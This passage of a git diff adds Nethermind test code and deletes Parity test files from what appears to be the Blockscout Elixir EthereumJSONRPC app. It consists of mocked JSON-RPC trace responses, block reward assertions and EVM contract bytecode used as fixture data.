"author" => hash3, + "rewardType" => "block", + "value" => "0xde0b6b3a7640000" + }, + "blockHash" => block_hash1, + "blockNumber" => block_number1, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => nil, + "transactionPosition" => nil, + "type" => "reward" + } + ] + } + + %{id: id, params: [^block_quantity2]} -> + %{ + id: id, + result: [ + %{ + "action" => %{ + "author" => hash2, + "rewardType" => "block", + "value" => "0xde0b6b3a7640000" + }, + "blockHash" => block_hash2, + "blockNumber" => block_number2, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => nil, + "transactionPosition" => nil, + "type" => "reward" + }, + %{ + "action" => %{ + "author" => hash3, + "rewardType" => "block", + "value" => "0xde0b6b3a7640000" + }, + "blockHash" => block_hash2, + "blockNumber" => block_number2, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => nil, + "transactionPosition" => nil, + "type" => "reward" + } + ] + } + end) + + {:ok, responses} + end) + end + + assert {:ok, %FetchedBeneficiaries{params_set: params_set}} = + EthereumJSONRPC.Nethermind.fetch_beneficiaries( + [block_number1, block_number2], + json_rpc_named_arguments + ) + + assert Enum.count(params_set) == 4 + + assert %{ + block_number: block_number1, + block_hash: block_hash1, + address_hash: hash1, + address_type: :validator, + reward: "0xde0b6b3a7640000" + } in params_set + + assert %{ + block_number: block_number1, + block_hash: block_hash1, + address_hash: hash3, + address_type: :validator, + reward: "0xde0b6b3a7640000" + } in params_set + + assert %{ + block_number: block_number2, + block_hash: block_hash2, + address_hash: hash2, + address_type: :validator, + reward: "0xde0b6b3a7640000" + } in params_set + + assert %{ + block_number: block_number2, + block_hash: block_hash2, + address_hash: hash3, + address_type: :validator, + reward: "0xde0b6b3a7640000" + } in params_set + end + + test "with error, returns {:error, reason}", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:error, "oops"} + end) + + assert {:error, "oops"} = EthereumJSONRPC.Nethermind.fetch_beneficiaries([5_080_887], json_rpc_named_arguments) + end + end + end +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/trace/action_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/trace/action_test.exs deleted file mode 100644 index 78597b57f1e0..000000000000 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/trace/action_test.exs +++ /dev/null @@ -1,5 +0,0 @@ -defmodule EthereumJSONRPC.Parity.Trace.ActionTest do - use ExUnit.Case, async: true - - doctest EthereumJSONRPC.Parity.Trace.Action -end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/trace/result_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/trace/result_test.exs deleted file mode 100644 index f419f5045b91..000000000000 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/trace/result_test.exs +++ /dev/null @@ -1,5 +0,0 @@ -defmodule EthereumJSONRPC.Parity.Trace.ResultTest do - use ExUnit.Case, async: true - - doctest EthereumJSONRPC.Parity.Trace.Result -end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/trace_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/trace_test.exs deleted file mode 100644 index 75daf2eb0426..000000000000 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/trace_test.exs +++ /dev/null @@ -1,5 +0,0 @@ -defmodule EthereumJSONRPC.Parity.TraceTest do - use ExUnit.Case, async: true - - doctest EthereumJSONRPC.Parity.Trace -end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity_test.exs deleted file mode 100644 index 2210d90ee869..000000000000 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity_test.exs +++ /dev/null @@ -1,616 +0,0 @@ -defmodule EthereumJSONRPC.ParityTest do - use ExUnit.Case, async: true - use EthereumJSONRPC.Case - - import EthereumJSONRPC, only: [integer_to_quantity: 1] - import Mox - - alias EthereumJSONRPC.FetchedBeneficiaries - - setup :verify_on_exit! - - doctest EthereumJSONRPC.Parity - - @moduletag :no_geth - - describe "fetch_internal_transactions/1" do - test "is not supported", %{json_rpc_named_arguments: json_rpc_named_arguments} do - EthereumJSONRPC.Parity.fetch_internal_transactions([], json_rpc_named_arguments) - end - end - - describe "fetch_block_internal_transactions/1" do - test "with all valid block_numbers returns {:ok, transactions_params}", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - from_address_hash = "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" - gas = 4_533_872 - - init = - "0x6060604052341561000f57600080fd5b60405160208061071a83398101604052808051906020019091905050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600160006001600281111561007e57fe5b60ff1660ff168152602001908152602001600020819055506002600160006002808111156100a857fe5b60ff1660ff168152602001908152602001600020819055505061064a806100d06000396000f30060606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063247b3210146100935780632ffdfc8a146100bc57806374294144146100f6578063ae4b1b5b14610125578063bf7370d11461017a578063d1104cb2146101a3578063eecd1079146101f8578063fcff021c14610221575b600080fd5b341561009e57600080fd5b6100a661024a565b6040518082815260200191505060405180910390f35b34156100c757600080fd5b6100e0600480803560ff16906020019091905050610253565b6040518082815260200191505060405180910390f35b341561010157600080fd5b610123600480803590602001909190803560ff16906020019091905050610276565b005b341561013057600080fd5b61013861037a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018557600080fd5b61018d61039f565b6040518082815260200191505060405180910390f35b34156101ae57600080fd5b6101b66104d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561020357600080fd5b61020b610588565b6040518082815260200191505060405180910390f35b341561022c57600080fd5b6102346105bd565b6040518082815260200191505060405180910390f35b600060c8905090565b6000600160008360ff1660ff168152602001908152602001600020549050919050565b61027e6104d9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b757600080fd5b60008160ff161115156102c957600080fd5b6002808111156102d557fe5b60ff168160ff16111515156102e957600080fd5b6000821180156103125750600160008260ff1660ff168152602001908152602001600020548214155b151561031d57600080fd5b81600160008360ff1660ff168152602001908152602001600020819055508060ff167fe868bbbdd6cd2efcd9ba6e0129d43c349b0645524aba13f8a43bfc7c5ffb0889836040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b8414c46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561042f57600080fd5b6102c65a03f1151561044057600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff16630eaba26a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104b857600080fd5b6102c65a03f115156104c957600080fd5b5050506040518051905091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b3fff16000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561056857600080fd5b6102c65a03f1151561057957600080fd5b50505060405180519050905090565b60006105b860016105aa600261059c61039f565b6105e590919063ffffffff16565b61060090919063ffffffff16565b905090565b60006105e06105ca61039f565b6105d261024a565b6105e590919063ffffffff16565b905090565b60008082848115156105f357fe5b0490508091505092915050565b600080828401905083811015151561061457fe5b80915050929150505600a165627a7a723058206b7eef2a57eb659d5e77e45ab5bc074e99c6a841921038cdb931e119c6aac46c0029000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef" - - value = 0 - block_number = 39 - index = 0 - created_contract_address_hash = "0x1e0eaa06d02f965be2dfe0bc9ff52b2d82133461" - - created_contract_code = - "0x60606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063247b3210146100935780632ffdfc8a146100bc57806374294144146100f6578063ae4b1b5b14610125578063bf7370d11461017a578063d1104cb2146101a3578063eecd1079146101f8578063fcff021c14610221575b600080fd5b341561009e57600080fd5b6100a661024a565b6040518082815260200191505060405180910390f35b34156100c757600080fd5b6100e0600480803560ff16906020019091905050610253565b6040518082815260200191505060405180910390f35b341561010157600080fd5b610123600480803590602001909190803560ff16906020019091905050610276565b005b341561013057600080fd5b61013861037a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018557600080fd5b61018d61039f565b6040518082815260200191505060405180910390f35b34156101ae57600080fd5b6101b66104d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561020357600080fd5b61020b610588565b6040518082815260200191505060405180910390f35b341561022c57600080fd5b6102346105bd565b6040518082815260200191505060405180910390f35b600060c8905090565b6000600160008360ff1660ff168152602001908152602001600020549050919050565b61027e6104d9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b757600080fd5b60008160ff161115156102c957600080fd5b6002808111156102d557fe5b60ff168160ff16111515156102e957600080fd5b6000821180156103125750600160008260ff1660ff168152602001908152602001600020548214155b151561031d57600080fd5b81600160008360ff1660ff168152602001908152602001600020819055508060ff167fe868bbbdd6cd2efcd9ba6e0129d43c349b0645524aba13f8a43bfc7c5ffb0889836040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b8414c46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561042f57600080fd5b6102c65a03f1151561044057600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff16630eaba26a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104b857600080fd5b6102c65a03f115156104c957600080fd5b5050506040518051905091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b3fff16000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561056857600080fd5b6102c65a03f1151561057957600080fd5b50505060405180519050905090565b60006105b860016105aa600261059c61039f565b6105e590919063ffffffff16565b61060090919063ffffffff16565b905090565b60006105e06105ca61039f565b6105d261024a565b6105e590919063ffffffff16565b905090565b60008082848115156105f357fe5b0490508091505092915050565b600080828401905083811015151561061457fe5b80915050929150505600a165627a7a723058206b7eef2a57eb659d5e77e45ab5bc074e99c6a841921038cdb931e119c6aac46c0029" - - gas_used = 382_953 - trace_address = [] - transaction_hash = "0x0fa6f723216dba694337f9bb37d8870725655bdf2573526a39454685659e39b1" - transaction_index = 0 - type = "create" - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> - {:ok, - [ - %{ - id: 0, - result: [ - %{ - "trace" => [ - %{ - "action" => %{ - "from" => from_address_hash, - "gas" => integer_to_quantity(gas), - "init" => init, - "value" => integer_to_quantity(value) - }, - "blockNumber" => block_number, - "index" => index, - "result" => %{ - "address" => created_contract_address_hash, - "code" => created_contract_code, - "gasUsed" => integer_to_quantity(gas_used) - }, - "traceAddress" => trace_address, - "type" => type - } - ], - "transactionHash" => transaction_hash - } - ] - } - ]} - end) - end - - assert EthereumJSONRPC.Parity.fetch_block_internal_transactions( - [block_number], - json_rpc_named_arguments - ) == { - :ok, - [ - %{ - block_number: block_number, - created_contract_address_hash: created_contract_address_hash, - created_contract_code: created_contract_code, - from_address_hash: from_address_hash, - gas: gas, - gas_used: gas_used, - index: index, - init: init, - trace_address: trace_address, - transaction_hash: transaction_hash, - type: type, - value: value, - transaction_index: transaction_index - } - ] - } - end - end - - describe "fetch_first_trace/2" do - test "returns {:ok, first_trace_params}", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - from_address_hash = "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" - gas = 4_533_872 - - init = - "0x6060604052341561000f57600080fd5b60405160208061071a83398101604052808051906020019091905050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600160006001600281111561007e57fe5b60ff1660ff168152602001908152602001600020819055506002600160006002808111156100a857fe5b60ff1660ff168152602001908152602001600020819055505061064a806100d06000396000f30060606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063247b3210146100935780632ffdfc8a146100bc57806374294144146100f6578063ae4b1b5b14610125578063bf7370d11461017a578063d1104cb2146101a3578063eecd1079146101f8578063fcff021c14610221575b600080fd5b341561009e57600080fd5b6100a661024a565b6040518082815260200191505060405180910390f35b34156100c757600080fd5b6100e0600480803560ff16906020019091905050610253565b6040518082815260200191505060405180910390f35b341561010157600080fd5b610123600480803590602001909190803560ff16906020019091905050610276565b005b341561013057600080fd5b61013861037a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018557600080fd5b61018d61039f565b6040518082815260200191505060405180910390f35b34156101ae57600080fd5b6101b66104d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561020357600080fd5b61020b610588565b6040518082815260200191505060405180910390f35b341561022c57600080fd5b6102346105bd565b6040518082815260200191505060405180910390f35b600060c8905090565b6000600160008360ff1660ff168152602001908152602001600020549050919050565b61027e6104d9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b757600080fd5b60008160ff161115156102c957600080fd5b6002808111156102d557fe5b60ff168160ff16111515156102e957600080fd5b6000821180156103125750600160008260ff1660ff168152602001908152602001600020548214155b151561031d57600080fd5b81600160008360ff1660ff168152602001908152602001600020819055508060ff167fe868bbbdd6cd2efcd9ba6e0129d43c349b0645524aba13f8a43bfc7c5ffb0889836040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b8414c46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561042f57600080fd5b6102c65a03f1151561044057600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff16630eaba26a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104b857600080fd5b6102c65a03f115156104c957600080fd5b5050506040518051905091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b3fff16000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561056857600080fd5b6102c65a03f1151561057957600080fd5b50505060405180519050905090565b60006105b860016105aa600261059c61039f565b6105e590919063ffffffff16565b61060090919063ffffffff16565b905090565b60006105e06105ca61039f565b6105d261024a565b6105e590919063ffffffff16565b905090565b60008082848115156105f357fe5b0490508091505092915050565b600080828401905083811015151561061457fe5b80915050929150505600a165627a7a723058206b7eef2a57eb659d5e77e45ab5bc074e99c6a841921038cdb931e119c6aac46c0029000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef" - - value = 0 - block_number = 39 - block_hash = "0x74c72ccabcb98b7ebbd7b31de938212b7e8814a002263b6569564e944d88f51f" - index = 0 - created_contract_address_hash = "0x1e0eaa06d02f965be2dfe0bc9ff52b2d82133461" - - created_contract_code = - "0x60606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063247b3210146100935780632ffdfc8a146100bc57806374294144146100f6578063ae4b1b5b14610125578063bf7370d11461017a578063d1104cb2146101a3578063eecd1079146101f8578063fcff021c14610221575b600080fd5b341561009e57600080fd5b6100a661024a565b6040518082815260200191505060405180910390f35b34156100c757600080fd5b6100e0600480803560ff16906020019091905050610253565b6040518082815260200191505060405180910390f35b341561010157600080fd5b610123600480803590602001909190803560ff16906020019091905050610276565b005b341561013057600080fd5b61013861037a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018557600080fd5b61018d61039f565b6040518082815260200191505060405180910390f35b34156101ae57600080fd5b6101b66104d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561020357600080fd5b61020b610588565b6040518082815260200191505060405180910390f35b341561022c57600080fd5b6102346105bd565b6040518082815260200191505060405180910390f35b600060c8905090565b6000600160008360ff1660ff168152602001908152602001600020549050919050565b61027e6104d9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b757600080fd5b60008160ff161115156102c957600080fd5b6002808111156102d557fe5b60ff168160ff16111515156102e957600080fd5b6000821180156103125750600160008260ff1660ff168152602001908152602001600020548214155b151561031d57600080fd5b81600160008360ff1660ff168152602001908152602001600020819055508060ff167fe868bbbdd6cd2efcd9ba6e0129d43c349b0645524aba13f8a43bfc7c5ffb0889836040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b8414c46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561042f57600080fd5b6102c65a03f1151561044057600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff16630eaba26a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104b857600080fd5b6102c65a03f115156104c957600080fd5b5050506040518051905091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b3fff16000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561056857600080fd5b6102c65a03f1151561057957600080fd5b50505060405180519050905090565b60006105b860016105aa600261059c61039f565b6105e590919063ffffffff16565b61060090919063ffffffff16565b905090565b60006105e06105ca61039f565b6105d261024a565b6105e590919063ffffffff16565b905090565b60008082848115156105f357fe5b0490508091505092915050565b600080828401905083811015151561061457fe5b80915050929150505600a165627a7a723058206b7eef2a57eb659d5e77e45ab5bc074e99c6a841921038cdb931e119c6aac46c0029" - - gas_used = 382_953 - trace_address = [] - transaction_hash = "0x0fa6f723216dba694337f9bb37d8870725655bdf2573526a39454685659e39b1" - transaction_index = 0 - type = "create" - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> - {:ok, - [ - %{ - id: 0, - result: %{ - "output" => "0x", - "stateDiff" => nil, - "trace" => [ - %{ - "action" => %{ - "from" => from_address_hash, - "gas" => integer_to_quantity(gas), - "init" => init, - "value" => integer_to_quantity(value) - }, - "blockNumber" => block_number, - "index" => index, - "result" => %{ - "address" => created_contract_address_hash, - "code" => created_contract_code, - "gasUsed" => integer_to_quantity(gas_used) - }, - "traceAddress" => trace_address, - "type" => type - } - ], - "transactionHash" => transaction_hash - } - } - ]} - end) - end - - assert EthereumJSONRPC.Parity.fetch_first_trace( - [ - %{ - hash_data: transaction_hash, - block_hash: block_hash, - block_number: block_number, - transaction_index: transaction_index - } - ], - json_rpc_named_arguments - ) == { - :ok, - [ - %{ - first_trace: %{ - block_number: block_number, - created_contract_address_hash: created_contract_address_hash, - created_contract_code: created_contract_code, - from_address_hash: from_address_hash, - gas: gas, - gas_used: gas_used, - index: index, - init: init, - trace_address: trace_address, - transaction_hash: transaction_hash, - type: type, - value: value, - transaction_index: transaction_index - }, - block_hash: block_hash, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - variant: EthereumJSONRPC.Parity - ] - } - ] - } - end - end - - describe "fetch_beneficiaries/1" do - test "with valid block range, returns {:ok, addresses}", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - block_hash = "0x52a8d2185282506ce681364d2aa0c085ba45fdeb5d6c0ddec1131617a71ee2ca" - block_number = 5_080_887 - block_quantity = EthereumJSONRPC.integer_to_quantity(block_number) - hash1 = "0xef481b4e2c3ed62265617f2e9dfcdf3cf3efc11a" - hash2 = "0x523b6539ff08d72a6c8bb598af95bf50c1ea839c" - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^block_quantity]}], _options -> - {:ok, - [ - %{ - id: id, - result: [ - %{ - "action" => %{ - "author" => hash1, - "rewardType" => "block", - "value" => "0xde0b6b3a7640000" - }, - "blockHash" => block_hash, - "blockNumber" => block_number, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => nil, - "transactionPosition" => nil, - "type" => "reward" - }, - %{ - "action" => %{ - "author" => hash2, - "rewardType" => "block", - "value" => "0xde0b6b3a7640000" - }, - "blockHash" => "0x52a8d2185282506ce681364d2aa0c085ba45fdeb5d6c0ddec1131617a71ee2ca", - "blockNumber" => block_number, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => nil, - "transactionPosition" => nil, - "type" => "reward" - } - ] - } - ]} - end) - end - - assert {:ok, %FetchedBeneficiaries{params_set: params_set}} = - EthereumJSONRPC.Parity.fetch_beneficiaries([5_080_887], json_rpc_named_arguments) - - assert Enum.count(params_set) == 2 - - assert %{ - block_number: block_number, - block_hash: block_hash, - address_hash: hash2, - address_type: :validator, - reward: "0xde0b6b3a7640000" - } in params_set - - assert %{ - block_number: block_number, - block_hash: block_hash, - address_hash: hash1, - address_type: :validator, - reward: "0xde0b6b3a7640000" - } in params_set - end - - test "with 'external' 'rewardType'", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - block_hash = "0xf19a4ea2bb4f2d8839f4c3ec11e0e86c29d57799d7073713958fe1990e197cf5" - block_number = 5_609_295 - block_quantity = EthereumJSONRPC.integer_to_quantity(block_number) - hash1 = "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" - hash2 = "0x523b6539ff08d72a6c8bb598af95bf50c1ea839c" - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^block_quantity]}], _options -> - {:ok, - [ - %{ - id: id, - result: [ - %{ - "action" => %{ - "author" => hash1, - "rewardType" => "external", - "value" => "0xde0b6b3a7640000" - }, - "blockHash" => block_hash, - "blockNumber" => 5_609_295, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => nil, - "transactionPosition" => nil, - "type" => "reward" - }, - %{ - "action" => %{ - "author" => hash2, - "rewardType" => "external", - "value" => "0xde0b6b3a7640000" - }, - "blockHash" => "0xf19a4ea2bb4f2d8839f4c3ec11e0e86c29d57799d7073713958fe1990e197cf5", - "blockNumber" => 5_609_295, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => nil, - "transactionPosition" => nil, - "type" => "reward" - } - ] - } - ]} - end) - end - - assert {:ok, %FetchedBeneficiaries{params_set: params_set, errors: []}} = - EthereumJSONRPC.Parity.fetch_beneficiaries([5_609_295], json_rpc_named_arguments) - - assert Enum.count(params_set) == 2 - - assert %{ - block_number: block_number, - block_hash: block_hash, - address_hash: hash1, - address_type: :validator, - reward: "0xde0b6b3a7640000" - } in params_set - - assert %{ - block_number: block_number, - block_hash: block_hash, - address_hash: hash2, - address_type: :emission_funds, - reward: "0xde0b6b3a7640000" - } in params_set - end - - test "with no rewards, returns {:ok, []}", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn requests, _options when is_list(requests) -> - responses = Enum.map(requests, fn %{id: id} -> %{id: id, result: []} end) - {:ok, responses} - end) - - assert {:ok, %FetchedBeneficiaries{params_set: params_set}} = - EthereumJSONRPC.Parity.fetch_beneficiaries([5_080_887], json_rpc_named_arguments) - - assert Enum.empty?(params_set) - end - end - - test "ignores non-reward traces", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - block_hash = "0x6659a4926d833a7eab74379fa647ec74c9f5e65f8029552a35264126560f300a" - block_number = 5_077_429 - block_quantity = EthereumJSONRPC.integer_to_quantity(block_number) - hash1 = "0xcfa53498686e00d3b4b41f3bea61604038eebb58" - hash2 = "0x523b6539ff08d72a6c8bb598af95bf50c1ea839c" - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^block_quantity]}], _options -> - {:ok, - [ - %{ - id: id, - result: [ - %{ - "action" => %{ - "callType" => "call", - "from" => "0x95426f2bc716022fcf1def006dbc4bb81f5b5164", - "gas" => "0x0", - "input" => "0x", - "to" => "0xe797a1da01eb0f951e0e400f9343de9d17a06bac", - "value" => "0x4a817c800" - }, - "blockHash" => block_hash, - "blockNumber" => block_number, - "result" => %{"gasUsed" => "0x0", "output" => "0x"}, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => "0x5acf90f846b8216bdbc309cf4eb24adc69d730bf29304dc0e740cf6df850666e", - "transactionPosition" => 0, - "type" => "call" - }, - %{ - "action" => %{ - "author" => hash1, - "rewardType" => "block", - "value" => "0xde0b6b3a7640000" - }, - "blockHash" => block_hash, - "blockNumber" => block_number, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => nil, - "transactionPosition" => nil, - "type" => "reward" - }, - %{ - "action" => %{ - "author" => hash2, - "rewardType" => "block", - "value" => "0xde0b6b3a7640000" - }, - "blockHash" => block_hash, - "blockNumber" => block_number, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => nil, - "transactionPosition" => nil, - "type" => "reward" - } - ] - } - ]} - end) - end - - assert {:ok, %FetchedBeneficiaries{params_set: params_set}} = - EthereumJSONRPC.Parity.fetch_beneficiaries([5_077_429], json_rpc_named_arguments) - - assert Enum.count(params_set) == 2 - - assert %{ - block_number: block_number, - block_hash: block_hash, - address_hash: hash2, - address_type: :validator, - reward: "0xde0b6b3a7640000" - } in params_set - - assert %{ - block_number: block_number, - block_hash: block_hash, - address_hash: hash1, - address_type: :validator, - reward: "0xde0b6b3a7640000" - } in params_set - end - - test "with multiple blocks with repeat beneficiaries", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - block_hash1 = "0xd2170e27857452d130128ac94c5258828a22cc69b07ab6e7fc12f7dd9938ff1c" - block_number1 = 5_080_886 - block_quantity1 = EthereumJSONRPC.integer_to_quantity(block_number1) - - block_hash2 = "0x52a8d2185282506ce681364d2aa0c085ba45fdeb5d6c0ddec1131617a71ee2ca" - block_number2 = 5_080_887 - block_quantity2 = EthereumJSONRPC.integer_to_quantity(block_number2) - - hash1 = "0xadc702c4bb09fbc502dd951856b9c7a1528a88de" - hash2 = "0xef481b4e2c3ed62265617f2e9dfcdf3cf3efc11a" - hash3 = "0x523b6539ff08d72a6c8bb598af95bf50c1ea839c" - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn requests, _options when is_list(requests) -> - responses = - Enum.map(requests, fn - %{id: id, params: [^block_quantity1]} -> - %{ - id: id, - result: [ - %{ - "action" => %{ - "author" => hash1, - "rewardType" => "block", - "value" => "0xde0b6b3a7640000" - }, - "blockHash" => block_hash1, - "blockNumber" => block_number1, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => nil, - "transactionPosition" => nil, - "type" => "reward" - }, - %{ - "action" => %{ - "author" => hash3, - "rewardType" => "block", - "value" => "0xde0b6b3a7640000" - }, - "blockHash" => block_hash1, - "blockNumber" => block_number1, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => nil, - "transactionPosition" => nil, - "type" => "reward" - } - ] - } - - %{id: id, params: [^block_quantity2]} -> - %{ - id: id, - result: [ - %{ - "action" => %{ - "author" => hash2, - "rewardType" => "block", - "value" => "0xde0b6b3a7640000" - }, - "blockHash" => block_hash2, - "blockNumber" => block_number2, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => nil, - "transactionPosition" => nil, - "type" => "reward" - }, - %{ - "action" => %{ - "author" => hash3, - "rewardType" => "block", - "value" => "0xde0b6b3a7640000" - }, - "blockHash" => block_hash2, - "blockNumber" => block_number2, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => nil, - "transactionPosition" => nil, - "type" => "reward" - } - ] - } - end) - - {:ok, responses} - end) - end - - assert {:ok, %FetchedBeneficiaries{params_set: params_set}} = - EthereumJSONRPC.Parity.fetch_beneficiaries( - [block_number1, block_number2], - json_rpc_named_arguments - ) - - assert Enum.count(params_set) == 4 - - assert %{ - block_number: block_number1, - block_hash: block_hash1, - address_hash: hash1, - address_type: :validator, - reward: 